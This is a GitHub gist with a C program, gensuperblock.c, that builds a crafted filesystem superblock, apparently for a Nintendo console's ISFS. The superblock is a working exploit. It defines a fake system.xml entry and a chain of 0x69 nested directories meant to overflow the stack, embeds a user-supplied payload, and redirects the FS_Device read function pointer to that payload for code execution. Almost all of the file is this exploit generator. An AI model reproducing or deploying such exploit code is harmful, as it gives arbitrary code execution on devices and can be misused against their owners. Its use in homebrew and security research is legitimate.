Skip to content

Instantly share code, notes, and snippets.

@rw-r-r-0644
Created March 29, 2021 20:19
Show Gist options
  • Save rw-r-r-0644/c89f2c0c5d04d8ba03b56190161aad73 to your computer and use it in GitHub Desktop.
Save rw-r-r-0644/c89f2c0c5d04d8ba03b56190161aad73 to your computer and use it in GitHub Desktop.
/* gensuperblock.c
*
* Copyright (C) 2021 rw-r-r-0644
* This file is under GNU GPLv2+
*/
#include <arpa/inet.h>
#include <stdint.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
typedef struct FST_Entry FST_Entry;
typedef struct ISFS_Superblock ISFS_Superblock;
typedef struct FS_Device FS_Device;
struct FST_Entry
{
char name[12];
uint8_t mode;
uint8_t attr;
uint16_t sub;
uint16_t sib;
uint32_t size;
uint16_t x1;
uint16_t uid;
uint16_t gid;
uint32_t x3;
} __attribute__((packed));
struct ISFS_Superblock
{
uint32_t magic;
uint32_t generation;
uint32_t field_0x8;
uint16_t fat[0x8000];
FST_Entry fst[6143];
uint8_t pad[20];
} __attribute__((packed));
struct FS_Device
{
int field_0x0;
uint32_t instance;
uint32_t fun_init;
uint32_t fun_read;
uint32_t fun_write;
uint32_t fun_shutdown;
uint32_t field_0x18;
uint32_t field_0x1c;
uint32_t field_0x20;
uint32_t field_0x24;
uint32_t field_0x28;
uint32_t sectorsLo;
uint32_t sectorsHi;
uint32_t field_0x34;
uint32_t field_0x38;
uint32_t field_0x3c;
uint32_t field_0x40;
uint32_t sectorSize;
uint32_t field_0x48;
uint32_t field_0x4c;
uint32_t field_0x50;
uint32_t field_0x54;
uint32_t field_0x58;
char manufacturer[128];
char model[128];
char na[128];
} __attribute__((packed));
int craft_superblock(ISFS_Superblock *super, void *payload, size_t payload_size)
{
super->magic = htonl(0x53465321);
super->generation = htonl(0xffff0000);
super->field_0x8 = htonl(0);
for (int i = 0; i < 0x8000; i++) {
super->fat[i] = htons(0xFFFD);
}
/* Create root node */
strcpy(super->fst[0].name, "/");
super->fst[0].mode = 2;
super->fst[0].attr = 0;
super->fst[0].sib = htons(0xFFFF);
super->fst[0].sub = htons(1);
/* Create /sys/config/system.xml */
strcpy(super->fst[1].name, "sys");
super->fst[1].mode = 2;
super->fst[1].attr = 0;
super->fst[1].sib = htons(4);
super->fst[1].sub = htons(2);
strcpy(super->fst[2].name, "config");
super->fst[2].mode = 2;
super->fst[2].attr = 0;
super->fst[2].sib = htons(0xFFFF);
super->fst[2].sub = htons(3);
strcpy(super->fst[3].name, "system.xml");
super->fst[3].mode = 0xC1;
super->fst[3].attr = 0;
super->fst[3].sib = htons(0xFFFF);
super->fst[3].sub = htons(0x7FFF);
super->fst[3].size = htonl(0x0636);
super->fat[0x7FFF] = htons(0xFFFB); /* required to prevent stat crash */
/* Create other 0x69 entries overflow the stack up to 0x0x0D40E240 */
unsigned int ifst;
for (ifst = 4; ifst < (4+0x69); ifst++) {
strcpy(super->fst[ifst].name, "a");
super->fst[ifst].mode = 2;
super->fst[ifst].attr = 0;
super->fst[ifst].sib = htons(0xFFFF);
super->fst[ifst].sub = htons(ifst + 1);
}
super->fst[ifst-1].sub = htons(0xFFFF);
/* Copy payload after the used FSTs */
size_t code_offset = (uintptr_t)&super->fst[ifst] - (uintptr_t)super;
size_t code_size = (uintptr_t)&super[1] - (uintptr_t)&super->fst[ifst];
if (payload_size > code_size) {
printf("error: payload size exceeds available space!\n");
return -1;
}
memcpy((uint8_t *)super + code_offset, payload, payload_size);
/* FLA FS_Device's address will be set to the start of
* this superblock by the stack overflow.
* Point FS_Device->read() to the start of the payload */
uint32_t jump_target = 0x01F80000 + code_offset;
FS_Device *device = (FS_Device *)super;
device->fun_read = htonl(jump_target);
printf("Jump target: %08X\n", jump_target);
return 0;
}
void *load_file(char *filename, size_t *out_size)
{
void *buf = NULL;
size_t size = 0;
FILE *f;
if ((f = fopen(filename, "rb")) == NULL) {
return NULL;
}
fseek(f, 0, SEEK_END);
size = ftell(f);
rewind(f);
if ((buf = malloc(size)) == NULL) {
fclose(f);
return NULL;
}
if (fread(buf, 1, size, f) != size) {
free(buf);
buf = NULL;
} else if (out_size) {
*out_size = size;
}
fclose(f);
return buf;
}
int save_file(char *filename, void *buf, size_t size)
{
FILE *f;
if ((f = fopen(filename, "wb")) == NULL) {
return -1;
}
fwrite(buf, 1, size, f);
fclose(f);
return 0;
}
int main(int argc, char **argv)
{
ISFS_Superblock *super;
uint8_t *payload;
size_t payload_size;
if (argc < 3) {
printf("usage: gensuperblock [input payload] [output superblock]\n");
return -1;
}
super = calloc(1, sizeof(*super));
assert(super != NULL);
payload = load_file(argv[1], &payload_size);
if (!payload) {
printf("failed to load payload\n");
return 0;
}
if (craft_superblock(super, payload, payload_size) < 0) {
free(super);
return -1;
}
if (save_file(argv[2], super, sizeof(*super)) < 0) {
printf("failed to write output superblock\n");
return -1;
}
free(super);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment